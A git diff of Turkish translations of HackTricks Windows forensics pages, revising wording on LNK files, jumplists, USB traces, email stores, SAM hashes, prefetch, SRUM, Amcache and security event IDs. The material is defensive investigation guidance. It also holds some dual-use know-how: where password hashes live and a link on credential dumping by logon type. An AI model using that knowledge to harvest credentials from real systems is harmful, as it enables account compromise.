orijinal dosyanın **ilk** **kullanıldığı** **zaman** ve bağlantı dosyasının **değiştirilme tarihi**, kaynak dosyanın en son **kullanıldığı** **zamandır**. -Bu dosyaları incelemek için [**LinkParser**](http://4discovery.com/our-tools/) aracını kullanabilirsiniz. +Bu dosyaları incelemek için [**LinkParser**](http://4discovery.com/our-tools/) kullanabilirsiniz. Bu araçta **2 set** zaman damgası bulacaksınız: @@ -94,7 +92,7 @@ Bu araçta **2 set** zaman damgası bulacaksınız: İlk zaman damgası seti, **dosyanın kendisine ait zaman damgalarını** referans alır. İkinci set, **bağlantılı dosyanın zaman damgalarını** referans alır. -Aynı bilgiyi Windows CLI aracı olan [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) ile de alabilirsiniz. +Aynı bilgiyi Windows CLI aracı olan [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) ile çalıştırarak da alabilirsiniz. ``` LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ``` @@ -106,9 +104,9 @@ Bunlar, her uygulama için belirtilen son dosyalardır. Her uygulamada erişebil Otomatik olarak oluşturulan **jumplists**, `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\` içinde saklanır. Jumplists, `{id}.autmaticDestinations-ms` formatına göre adlandırılır; burada başlangıç ID'si uygulamanın ID'sidir. -Özel jumplists, `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` içinde saklanır ve genellikle dosya ile ilgili **önemli** bir şey olduğunda uygulama tarafından oluşturulurlar (belki favori olarak işaretlenmiştir). +Özel jumplists, `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` içinde saklanır ve genellikle dosya ile ilgili **önemli** bir şey olduğunda uygulama tarafından oluşturulur (belki favori olarak işaretlenmiştir). -Herhangi bir jumplist'in **oluşturulma zamanı**, dosyanın **ilk kez erişildiği zamanı** ve **değiştirilme zamanı** son erişim zamanını gösterir. +Her jumplist'in **oluşturulma zamanı**, dosyanın **ilk kez erişildiği zamanı** ve **değiştirilme zamanı** son erişim zamanını gösterir. Jumplists'i [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md) kullanarak inceleyebilirsiniz. @@ -136,17 +134,17 @@ WPDNSE klasöründeki dosyalar, orijinal dosyaların bir kopyasıdır, bu nedenl ### Kayıt Bilgileri -[USB bağlı cihazlar hakkında ilginç bilgileri hangi kayıt anahtarlarının içerdiğini öğrenmek için bu sayfayı kontrol edin](interesting-windows-registry-keys.md#usb-information). +[USB bağlı cihazlar hakkında ilginç bilgileri içeren kayıt anahtarlarını öğrenmek için bu sayfayı kontrol edin](interesting-windows-registry-keys.md#usb-information). ### setupapi USB bağlantısının ne zaman gerçekleştiğine dair zaman damgalarını almak için `C:\Windows\inf\setupapi.dev.log` dosyasını kontrol edin ( `Section start` için arama yapın). -![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>) +![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>) ### USB Dedektifi -[**USBDetective**](https://usbdetective.com) bir görüntüye bağlı USB cihazları hakkında bilgi almak için kullanılabilir. +[**USBDetective**](https://usbdetective.com) bağlı USB cihazları hakkında bilgi almak için kullanılabilir. ![](<../../../images/image (452).png>) @@ -172,9 +170,9 @@ Bu yapılandırma, sürücülerin düzenli bakımını ve temizliğini sağlar v ## E-postalar -E-postalar **2 ilginç bölüm içerir: E-posta başlıkları ve içeriği**. **Başlıklarda** aşağıdaki bilgileri bulabilirsiniz: +E-postalar **2 ilginç kısım içerir: Başlıklar ve e-postanın içeriği**. **Başlıklarda** aşağıdaki bilgileri bulabilirsiniz: -- **Kim** e-postaları gönderdi (e-posta adresi, IP, e-postayı yönlendiren mail sunucuları) +- **Kim** e-postaları gönderdi (e-posta adresi, IP, e-postayı yönlendiren sunucular) - **Ne zaman** e-posta gönderildi Ayrıca, `References` ve `In-Reply-To` başlıkları içinde mesajların ID'sini bulabilirsiniz: @@ -185,20 +183,20 @@ Ayrıca, `References` ve `In-Reply-To` başlıkları içinde mesajların ID'sini Bu uygulama, e-postaları HTML veya metin olarak kaydeder. E-postaları `\Users\\AppData\Local\Comms\Unistore\data\3\` içindeki alt klasörlerde bulabilirsiniz. E-postalar `.dat` uzantısıyla kaydedilir. -E-postaların **meta verileri** ve **kişiler** **EDB veritabanı** içinde bulunabilir: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` +E-postaların **meta verileri** ve **kişiler** `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` içindeki **EDB veritabanında** bulunabilir. -**Dosyanın uzantısını** `.vol`'dan `.edb`'ye değiştirin ve [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) aracını kullanarak açabilirsiniz. `Message` tablosunda e-postaları görebilirsiniz. +Dosyanın uzantısını `.vol`'dan `.edb`'ye değiştirin ve [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) aracını kullanarak açabilirsiniz. `Message` tablosunda e-postaları görebilirsiniz. ### Microsoft Outlook Exchange sunucuları veya Outlook istemcileri kullanıldığında bazı MAPI başlıkları olacaktır: - `Mapi-Client-Submit-Time`: E-postanın gönderildiği zaman sistemin zamanı -- `Mapi-Conversation-Index`: İlgili dizinin çocuk mesajlarının sayısı ve her mesajın zaman damgası +- `Mapi-Conversation-Index`: İletinin çocuk mesajlarının sayısı ve her mesajın zaman damgası - `Mapi-Entry-ID`: Mesaj tanımlayıcısı. - `Mappi-Message-Flags` ve `Pr_last_Verb-Executed`: MAPI istemcisi hakkında bilgi (mesaj okundu mu? okunmadı mı? yanıtlandı mı? yönlendirildi mi? ofis dışında mı?) -Microsoft Outlook istemcisinde, gönderilen/alınan tüm mesajlar, kişi verileri ve takvim verileri, aşağıdaki yolda bir PST dosyasında saklanır: +Microsoft Outlook istemcisinde, gönderilen/alınan tüm mesajlar, kişiler verileri ve takvim verileri, aşağıdaki konumda bir PST dosyasında saklanır: - `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP) - `%USERPROFILE%\AppData\Local\Microsoft\Outlook` @@ -211,7 +209,7 @@ PST dosyasını [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/v ### Microsoft Outlook OST Dosyaları -Bir **OST dosyası**, Microsoft Outlook'un **IMAP** veya bir **Exchange** sunucusuyla yapılandırıldığında oluşturulur ve PST dosyasına benzer bilgileri saklar. Bu dosya, sunucu ile senkronize edilir, **son 12 ay** için verileri saklar ve **maksimum 50GB** boyutundadır ve PST dosyasıyla aynı dizinde bulunur. Bir OST dosyasını görüntülemek için [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) kullanılabilir. +Bir **OST dosyası**, Microsoft Outlook tarafından **IMAP** veya bir **Exchange** sunucusu ile yapılandırıldığında oluşturulur ve PST dosyasına benzer bilgileri saklar. Bu dosya, sunucu ile senkronize edilir, **son 12 ay** için verileri saklar ve **maksimum boyutu 50GB**'dır ve PST dosyası ile aynı dizinde bulunur. Bir OST dosyasını görüntülemek için [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) kullanılabilir. ### Ekleri Kurtarma @@ -222,7 +220,7 @@ Kaybolan ekler şunlardan kurtarılabilir: ### Thunderbird MBOX Dosyaları -**Thunderbird**, verileri saklamak için **MBOX dosyaları** kullanır ve bu dosyalar `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles` dizininde bulunur. +**Thunderbird**, verileri saklamak için **MBOX dosyaları** kullanır ve bu dosyalar `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles` konumundadır. ### Görüntü Küçültmeleri @@ -250,7 +248,7 @@ Kayıt dosyalarını analiz etmek için bazı araçlar faydalıdır: ### Silinen Elemanı Kurtarma -Bir anahtar silindiğinde, böyle işaretlenir, ancak kapladığı alan gerektiği sürece kaldırılmaz. Bu nedenle, **Registry Explorer** gibi araçlar kullanarak bu silinmiş anahtarları kurtarmak mümkündür. +Bir anahtar silindiğinde, böyle işaretlenir, ancak kapladığı alan gerekli olana kadar kaldırılmaz. Bu nedenle, **Registry Explorer** gibi araçlar kullanarak bu silinmiş anahtarları kurtarmak mümkündür. ### Son Yazma Zamanı @@ -258,11 +256,11 @@ Her Anahtar-Değer, en son ne zaman değiştirildiğini gösteren bir **zaman da ### SAM -**SAM** dosyası/hive, sistemin **kullanıcıları, grupları ve kullanıcı parolası** hash'lerini içerir. +**SAM** dosyası/hive, sistemin **kullanıcılar, gruplar ve kullanıcı parolaları** hash'lerini içerir. -`SAM\Domains\Account\Users` içinde kullanıcı adını, RID'yi, son giriş zamanını, son başarısız oturumu, giriş sayacını, parola politikasını ve hesabın ne zaman oluşturulduğunu elde edebilirsiniz. **Hash'leri** almak için ayrıca **SYSTEM** dosyasına/hive'ye **ihtiyacınız vardır**. +`SAM\Domains\Account\Users` içinde kullanıcı adını, RID'yi, son giriş zamanını, son başarısız oturumu, giriş sayacını, parola politikasını ve hesabın ne zaman oluşturulduğunu elde edebilirsiniz. **Hash'leri** almak için ayrıca **SYSTEM** dosyasına/hive'ye de **ihtiyacınız vardır**. -### Windows Kayıt Defteri'ndeki İlginç Girişler +### Windows Kayıt Defterindeki İlginç Girişler {{#ref}} interesting-windows-registry-keys.md @@ -280,7 +278,7 @@ Kayıt defteri `NTUSER.DAT` içinde `Software\Microsoft\Current Version\Search\R ### BAM (Arka Plan Etkinlik Modaratörü) -`SYSTEM` dosyasını bir kayıt defteri düzenleyici ile açabilir ve `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` yolunda **her kullanıcı tarafından çalıştırılan uygulamalar** hakkında bilgi bulabilirsiniz (yoldaki `{SID}`'yi not edin) ve **ne zaman** çalıştırıldıklarını (zaman, kayıt defterinin Veri değerinin içinde) görebilirsiniz. +`SYSTEM` dosyasını bir kayıt defteri düzenleyici ile açabilir ve `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` yolunda **her kullanıcı tarafından çalıştırılan uygulamalar** hakkında bilgileri bulabilirsiniz (yoldaki `{SID}`'yi not edin) ve **ne zaman** çalıştırıldıklarını (zaman, kayıt defterinin Veri değerinin içinde) görebilirsiniz. ### Windows Prefetch @@ -303,13 +301,13 @@ Bu dosyaları incelemek için [**PEcmd.exe**](https://github.com/EricZimmerman/P **Superprefetch**, önceden yükleme ile aynı amaca sahiptir, **programları daha hızlı yüklemek** için neyin yükleneceğini tahmin eder. Ancak, önceden yükleme hizmetinin yerini almaz.\ Bu hizmet, `C:\Windows\Prefetch\Ag*.db` konumunda veritabanı dosyaları oluşturur. -Bu veritabanlarında **programın adı**, **çalıştırma sayısı**, **açılan dosyalar**, **erişilen hacim**, **tam yol**, **zaman dilimleri** ve **zaman damgaları** bulabilirsiniz. +Bu veritabanlarında **programın adı**, **çalıştırma sayısı**, **açılan dosyalar**, **erişilen hacim**, **tam yol**, **zaman dilimleri** ve **zaman damgaları** bulunabilir. -Bu bilgilere [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/) aracıyla erişebilirsiniz. +Bu bilgilere [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/) aracı kullanarak erişebilirsiniz. ### SRUM -**Sistem Kaynak Kullanım İzleyici** (SRUM), **bir süreç tarafından tüketilen kaynakları** **izler**. W8'de ortaya çıkmıştır ve verileri `C:\Windows\System32\sru\SRUDB.dat` konumunda bir ESE veritabanında saklar. +**Sistem Kaynak Kullanım İzleyici** (SRUM), **bir süreç tarafından tüketilen kaynakları** **izler**. W8'de ortaya çıkmış ve verileri `C:\Windows\System32\sru\SRUDB.dat` konumunda bir ESE veritabanında saklar. Aşağıdaki bilgileri sağlar: @@ -323,7 +321,7 @@ Aşağıdaki bilgileri sağlar: Bu bilgiler her 60 dakikada bir güncellenir. -Bu dosyadan tarihi [**srum_dump**](https://github.com/MarkBaggett/srum-dump) aracıyla alabilirsiniz. +Bu dosyadan tarihi [**srum_dump**](https://github.com/MarkBaggett/srum-dump) aracı kullanarak elde edebilirsiniz. ```bash .\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum ``` @@ -342,7 +340,7 @@ Bu tür veriler, işletim sisteminin sürümüne bağlı olarak kayıt defterind - XP için, veriler `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` altında 96 giriş kapasitesi ile saklanır. - Server 2003 için, ayrıca Windows sürümleri 2008, 2012, 2016, 7, 8 ve 10 için, depolama yolu `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache` olup, sırasıyla 512 ve 1024 giriş kapasitesine sahiptir. -Saklanan bilgileri ayrıştırmak için, [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser) kullanılması önerilir. +Saklanan bilgileri ayrıştırmak için, [**AppCompatCacheParser** aracı](https://github.com/EricZimmerman/AppCompatCacheParser) kullanılması önerilir. ![](<../../../images/image (75).png>) @@ -350,7 +348,7 @@ Saklanan bilgileri ayrıştırmak için, [**AppCompatCacheParser** tool](https:/ **Amcache.hve** dosyası, bir sistemde yürütülen uygulamalar hakkında ayrıntıları kaydeden temel bir kayıt defteri hivesidir. Genellikle `C:\Windows\AppCompat\Programas\Amcache.hve` konumunda bulunur. -Bu dosya, yürütülen süreçlerin kayıtlarını, yürütülebilir dosyaların yollarını ve SHA1 hash'lerini saklamasıyla dikkat çeker. Bu bilgi, bir sistemdeki uygulamaların etkinliğini izlemek için çok değerlidir. +Bu dosya, yürütülen süreçlerin kayıtlarını, yürütülebilir dosyaların yollarını ve SHA1 hash'lerini saklamasıyla dikkat çekmektedir. Bu bilgi, bir sistemdeki uygulamaların etkinliğini izlemek için değerlidir. **Amcache.hve** dosyasından veri çıkarmak ve analiz etmek için, [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) aracı kullanılabilir. Aşağıdaki komut, AmcacheParser'ı **Amcache.hve** dosyasının içeriğini ayrıştırmak ve sonuçları CSV formatında çıkarmak için nasıl kullanacağınıza dair bir örnektir: ```bash @@ -362,23 +360,23 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen ### RecentFileCache -Bu artefakt yalnızca W7'de `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` içinde bulunabilir ve bazı ikili dosyaların son çalıştırılması hakkında bilgi içerir. +Bu artefakt yalnızca W7'de `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` konumunda bulunabilir ve bazı ikili dosyaların son çalıştırılması hakkında bilgi içerir. Dosyayı ayrıştırmak için [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) aracını kullanabilirsiniz. ### Planlı görevler -Bunları `C:\Windows\Tasks` veya `C:\Windows\System32\Tasks` içinden çıkarabilir ve XML olarak okuyabilirsiniz. +Bunları `C:\Windows\Tasks` veya `C:\Windows\System32\Tasks` konumundan çıkarabilir ve XML olarak okuyabilirsiniz. ### Hizmetler -Bunları `SYSTEM\ControlSet001\Services` altında kayıt defterinde bulabilirsiniz. Ne zaman ve neyin çalıştırılacağını görebilirsiniz. +Bunları `SYSTEM\ControlSet001\Services` kayıt defterinde bulabilirsiniz. Ne zaman ve neyin çalıştırılacağını görebilirsiniz. ### **Windows Store** -Yüklenen uygulamalar `\ProgramData\Microsoft\Windows\AppRepository\` içinde bulunabilir. Bu depo, sistemdeki **her yüklü uygulama** ile ilgili bir **log** içerir ve bu log **`StateRepository-Machine.srd`** veritabanının içindedir. +Yüklenen uygulamalar `\ProgramData\Microsoft\Windows\AppRepository\` konumunda bulunabilir. Bu depo, sistemdeki **her yüklü uygulama** ile ilgili bir **log** içerir ve bu log **`StateRepository-Machine.srd`** veritabanındadır. -Bu veritabanının Uygulama tablosunda, "Uygulama ID", "Paket Numarası" ve "Görüntü Adı" sütunlarını bulmak mümkündür. Bu sütunlar, önceden yüklenmiş ve yüklenmiş uygulamalar hakkında bilgi içerir ve bazı uygulamaların kaldırılıp kaldırılmadığını bulmak mümkündür çünkü yüklü uygulamaların ID'leri sıralı olmalıdır. +Bu veritabanının Uygulama tablosunda "Application ID", "PackageNumber" ve "Display Name" sütunlarını bulmak mümkündür. Bu sütunlar, önceden yüklenmiş ve yüklenmiş uygulamalar hakkında bilgi içerir ve bazı uygulamaların kaldırılıp kaldırılmadığını bulmak mümkündür çünkü yüklü uygulamaların kimlikleri sıralı olmalıdır. Ayrıca, kayıt defteri yolunda yüklü uygulamaları bulmak da mümkündür: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ Ve **kaldırılmış** **uygulamaları**: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` @@ -390,40 +388,40 @@ Windows olayları içinde görünen bilgiler şunlardır: - Ne oldu - Zaman damgası (UTC + 0) - İlgili kullanıcılar -- İlgili ana bilgisayarlar (ana bilgisayar adı, IP) +- İlgili ana bilgisayarlar (hostname, IP) - Erişilen varlıklar (dosyalar, klasör, yazıcı, hizmetler) -Loglar, Windows Vista'dan önce `C:\Windows\System32\config` içinde ve Windows Vista'dan sonra `C:\Windows\System32\winevt\Logs` içinde bulunmaktadır. Windows Vista'dan önce, olay logları ikili formatta ve sonrasında **XML formatında** ve **.evtx** uzantısını kullanmaktadır. +Loglar, Windows Vista'dan önce `C:\Windows\System32\config` konumunda ve Windows Vista'dan sonra `C:\Windows\System32\winevt\Logs` konumunda bulunmaktadır. Windows Vista'dan önce, olay logları ikili formatta, sonrasında ise **XML formatında** ve **.evtx** uzantısını kullanarak kaydedilmiştir. -Olay dosyalarının yeri, **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** kayıt defterinde bulunabilir. +Olay dosyalarının konumu, **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** kayıt defterinde bulunabilir. Windows Olay Görüntüleyici (**`eventvwr.msc`**) veya [**Event Log Explorer**](https://eventlogxp.com) **veya** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)** gibi diğer araçlarla görselleştirilebilir. -## Windows Güvenlik Olay Kaydını Anlamak +## Windows Güvenlik Olay Kaydı Anlama -Erişim olayları, `C:\Windows\System32\winevt\Security.evtx` konumundaki güvenlik yapılandırma dosyasında kaydedilir. Bu dosyanın boyutu ayarlanabilir ve kapasiteye ulaşıldığında, daha eski olaylar üzerine yazılır. Kaydedilen olaylar, kullanıcı girişleri ve çıkışları, kullanıcı eylemleri ve güvenlik ayarlarındaki değişiklikler ile dosya, klasör ve paylaşılan varlık erişimini içerir. +Erişim olayları, `C:\Windows\System32\winevt\Security.evtx` konumundaki güvenlik yapılandırma dosyasında kaydedilir. Bu dosyanın boyutu ayarlanabilir ve kapasitesi dolduğunda, daha eski olaylar üzerine yazılır. Kaydedilen olaylar, kullanıcı girişleri ve çıkışları, kullanıcı eylemleri ve güvenlik ayarlarındaki değişiklikler ile dosya, klasör ve paylaşılan varlık erişimlerini içerir. -### Kullanıcı Kimlik Doğrulaması için Ana Olay ID'leri: +### Kullanıcı Kimlik Doğrulaması için Ana Olay Kimlikleri: -- **EventID 4624**: Bir kullanıcının başarıyla kimlik doğruladığını gösterir. -- **EventID 4625**: Bir kimlik doğrulama hatasını işaret eder. +- **EventID 4624**: Kullanıcının başarıyla kimlik doğruladığını gösterir. +- **EventID 4625**: Kimlik doğrulama hatasını belirtir. - **EventIDs 4634/4647**: Kullanıcı çıkış olaylarını temsil eder. - **EventID 4672**: Yönetici ayrıcalıklarıyla giriş yapıldığını belirtir. #### EventID 4634/4647 içindeki alt türler: -- **Etkileşimli (2)**: Doğrudan kullanıcı girişi. -- **Ağ (3)**: Paylaşılan klasörlere erişim. -- **Toplu (4)**: Toplu işlemlerin yürütülmesi. -- **Hizmet (5)**: Hizmet başlatmaları. +- **Interactive (2)**: Doğrudan kullanıcı girişi. +- **Network (3)**: Paylaşılan klasörlere erişim. +- **Batch (4)**: Toplu işlemlerin yürütülmesi. +- **Service (5)**: Hizmet başlatmaları. - **Proxy (6)**: Proxy kimlik doğrulaması. -- **Kilidi Açma (7)**: Şifre ile ekranın kilidinin açılması. -- **Ağ Düz Metin (8)**: Düz metin şifre iletimi, genellikle IIS'den. -- **Yeni Kimlik Bilgileri (9)**: Erişim için farklı kimlik bilgileri kullanımı. -- **Uzaktan Etkileşimli (10)**: Uzaktan masaüstü veya terminal hizmetleri girişi. -- **Önbellek Etkileşimli (11)**: Alan denetleyicisi ile iletişim olmadan önbellekli kimlik bilgileri ile giriş. -- **Önbellek Uzaktan Etkileşimli (12)**: Önbellekli kimlik bilgileri ile uzaktan giriş. -- **Önbellekli Kilidi Açma (13)**: Önbellekli kimlik bilgileri ile kilidin açılması. +- **Unlock (7)**: Şifre ile ekranın kilidinin açılması. +- **Network Cleartext (8)**: Genellikle IIS'den gelen düz metin şifre iletimi. +- **New Credentials (9)**: Erişim için farklı kimlik bilgileri kullanımı. +- **Remote Interactive (10)**: Uzak masaüstü veya terminal hizmetleri girişi. +- **Cache Interactive (11)**: Alan denetleyicisi ile iletişim olmadan önbellekli kimlik bilgileri ile giriş. +- **Cache Remote Interactive (12)**: Önbellekli kimlik bilgileri ile uzak giriş. +- **Cached Unlock (13)**: Önbellekli kimlik bilgileri ile kilidin açılması. #### EventID 4625 için Durum ve Alt Durum Kodları: @@ -433,12 +431,12 @@ Erişim olayları, `C:\Windows\System32\winevt\Security.evtx` konumundaki güven - **0xC0000072**: Hesap devre dışı bırakıldı - Devre dışı bırakılmış hesaplara yetkisiz erişim girişimleri. - **0xC000006F**: İzin verilen zaman dışında oturum açma - Belirlenen giriş saatleri dışında erişim girişimlerini gösterir, yetkisiz erişim belirtisi olabilir. - **0xC0000070**: İş istasyonu kısıtlamalarının ihlali - Yetkisiz bir yerden giriş yapma girişimi olabilir. -- **0xC0000193**: Hesap süresi dolmuş - Süresi dolmuş kullanıcı hesapları ile erişim girişimleri. +- **0xC0000193**: Hesap süresi doldu - Süresi dolmuş kullanıcı hesapları ile erişim girişimleri. - **0xC0000071**: Süresi dolmuş şifre - Eski şifrelerle giriş girişimleri. -- **0xC0000133**: Zaman senkronizasyon sorunları - İstemci ve sunucu arasında büyük zaman farklılıkları, daha karmaşık saldırıların (pass-the-ticket gibi) göstergesi olabilir. -- **0xC0000224**: Zorunlu şifre değişikliği gereklidir - Sık zorunlu değişiklikler, hesap güvenliğini bozma girişimini gösterebilir. -- **0xC0000225**: Bir sistem hatasını gösterir, güvenlik sorunu değil. -- **0xC000015b**: Reddedilen oturum açma türü - Yetkisiz oturum açma türü ile erişim girişimi, örneğin bir kullanıcının bir hizmet oturumu açmaya çalışması. +- **0xC0000133**: Zaman senkronizasyon sorunları - İstemci ve sunucu arasında büyük zaman farklılıkları, daha karmaşık saldırıların (pass-the-ticket gibi) belirtisi olabilir. +- **0xC0000224**: Zorunlu şifre değişikliği gereklidir - Sık sık zorunlu değişiklikler, hesap güvenliğini bozma girişimini gösterebilir. +- **0xC0000225**: Bir sistem hatasını belirtir, güvenlik sorunu değil. +- **0xC000015b**: Reddedilen oturum açma türü - Yetkisiz oturum açma türü ile erişim girişimi, örneğin bir kullanıcının bir hizmet oturumu başlatmaya çalışması. #### EventID 4616: @@ -446,29 +444,29 @@ Erişim olayları, `C:\Windows\System32\winevt\Security.evtx` konumundaki güven #### EventID 6005 ve 6006: -- **Sistem Başlangıcı ve Kapatılması**: EventID 6005 sistemin başlatıldığını, EventID 6006 ise kapatıldığını gösterir. +- **Sistem Başlangıcı ve Kapatılması**: EventID 6005 sistemin başlatıldığını, EventID 6006 ise kapatıldığını belirtir. #### EventID 1102: - **Log Silme**: Güvenlik loglarının temizlenmesi, genellikle yasadışı faaliyetleri örtbas etme için bir kırmızı bayraktır. -#### USB Cihaz Takibi için Olay ID'leri: +#### USB Cihaz Takibi için Olay Kimlikleri: - **20001 / 20003 / 10000**: USB cihazının ilk bağlantısı. - **10100**: USB sürücü güncellemesi. - **EventID 112**: USB cihazının takılma zamanı. -Bu oturum açma türlerini simüle etmek ve kimlik bilgisi dökme fırsatları hakkında pratik örnekler için [Altered Security'nin detaylı kılavuzuna](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them) başvurun. +Bu oturum açma türlerini simüle etme ve kimlik bilgisi dökme fırsatları hakkında pratik örnekler için [Altered Security'nin detaylı kılavuzuna](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them) başvurun. Olay detayları, durum ve alt durum kodları, özellikle Event ID 4625'te olay nedenleri hakkında daha fazla bilgi sağlar. ### Windows Olaylarını Kurtarma -Silinmiş Windows Olaylarını kurtarma şansını artırmak için, şüpheli bilgisayarı doğrudan fişini çekerek kapatmak önerilir. **Bulk_extractor**, `.evtx` uzantısını belirten bir kurtarma aracı olarak, bu tür olayları kurtarmak için önerilmektedir. +Silinmiş Windows Olaylarını kurtarma şansını artırmak için, şüpheli bilgisayarı doğrudan fişini çekerek kapatmak önerilir. **Bulk_extractor**, `.evtx` uzantısını belirten bir kurtarma aracı olarak, bu tür olayları kurtarmak için önerilir. ### Windows Olayları Aracılığıyla Yaygın Saldırıları Tanımlama -Yaygın siber saldırıları tanımlamak için Windows Olay ID'lerini kullanma konusunda kapsamlı bir kılavuz için [Red Team Recipe](https://redteamrecipe.com/event-codes/) adresini ziyaret edin. +Yaygın siber saldırıları tanımlamak için Windows Olay Kimliklerini kullanma konusunda kapsamlı bir kılavuz için [Red Team Recipe](https://redteamrecipe.com/event-codes/) adresini ziyaret edin. #### Kaba Kuvvet Saldırıları @@ -480,11 +478,11 @@ EventID 4616 ile kaydedilen sistem zamanındaki değişiklikler, adli analizleri #### USB Cihaz Takibi -USB cihaz takibi için yararlı Sistem Olay ID'leri, ilk kullanım için 20001/20003/10000, sürücü güncellemeleri için 10100 ve takılma zaman damgaları için DeviceSetupManager'dan EventID 112'dir. +USB cihaz takibi için yararlı Sistem Olay Kimlikleri, ilk kullanım için 20001/20003/10000, sürücü güncellemeleri için 10100 ve takılma zaman damgaları için DeviceSetupManager'dan EventID 112'dir. #### Sistem Güç Olayları -EventID 6005 sistem başlangıcını, EventID 6006 ise kapanışı gösterir. +EventID 6005 sistem başlangıcını, EventID 6006 ise kapanmayı belirtir. #### Log Silme diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md index d9068df98..6668d8b0d 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md @@ -1,16 +1,14 @@ # İlginç Windows Kayıt Defteri Anahtarları -### İlginç Windows Kayıt Defteri Anahtarları - {{#include ../../../banners/hacktricks-training.md}} ### **Windows Sürümü ve Sahibi Bilgileri** -- **`Software\Microsoft\Windows NT\CurrentVersion`** altında, Windows sürümü, Servis Paketi, kurulum zamanı ve kayıtlı sahibin adı basit bir şekilde bulunur. +- **`Software\Microsoft\Windows NT\CurrentVersion`** altında, Windows sürümünü, Servis Paketini, kurulum zamanını ve kayıtlı sahibin adını basit bir şekilde bulabilirsiniz. ### **Bilgisayar Adı** -- Host adı **`System\ControlSet001\Control\ComputerName\ComputerName`** altında bulunur. +- Ana bilgisayar adı **`System\ControlSet001\Control\ComputerName\ComputerName`** altında bulunur. ### **Saat Dilimi Ayarı** @@ -31,23 +29,23 @@ ### Ağ Bilgileri Detayları -- Kayıt defteri, **ağ türleri (kablosuz, kablolu, 3G)** ve **ağ kategorileri (Genel, Özel/Ev, Alan/İş)** dahil olmak üzere ağ yapılandırmaları hakkında kapsamlı veriler tutar; bu, ağ güvenlik ayarlarını ve izinlerini anlamak için hayati öneme sahiptir. +- Kayıt defteri, ağ yapılandırmaları hakkında kapsamlı veriler tutar; bunlar arasında **ağ türleri (kablosuz, kablolu, 3G)** ve **ağ kategorileri (Halka Açık, Özel/Ev, Alan/İş)** bulunur; bu bilgiler ağ güvenlik ayarlarını ve izinlerini anlamak için hayati öneme sahiptir. ### İstemci Tarafı Önbellekleme (CSC) -- **CSC**, paylaşılan dosyaların kopyalarını önbelleğe alarak çevrimdışı dosya erişimini artırır. Farklı **CSCFlags** ayarları, hangi dosyaların ve nasıl önbelleğe alınacağını kontrol eder, bu da performansı ve kullanıcı deneyimini etkiler, özellikle kesintili bağlantıların olduğu ortamlarda. +- **CSC**, paylaşılan dosyaların kopyalarını önbelleğe alarak çevrimdışı dosya erişimini artırır. Farklı **CSCFlags** ayarları, hangi dosyaların ve nasıl önbelleğe alınacağını kontrol eder; bu, özellikle kesintili bağlantıların olduğu ortamlarda performansı ve kullanıcı deneyimini etkiler. ### Otomatik Başlatılan Programlar -- Çeşitli `Run` ve `RunOnce` kayıt defteri anahtarlarında listelenen programlar, başlangıçta otomatik olarak başlatılır, bu da sistem açılış süresini etkiler ve kötü amaçlı yazılım veya istenmeyen yazılımları tanımlamak için ilgi noktaları olabilir. +- Çeşitli `Run` ve 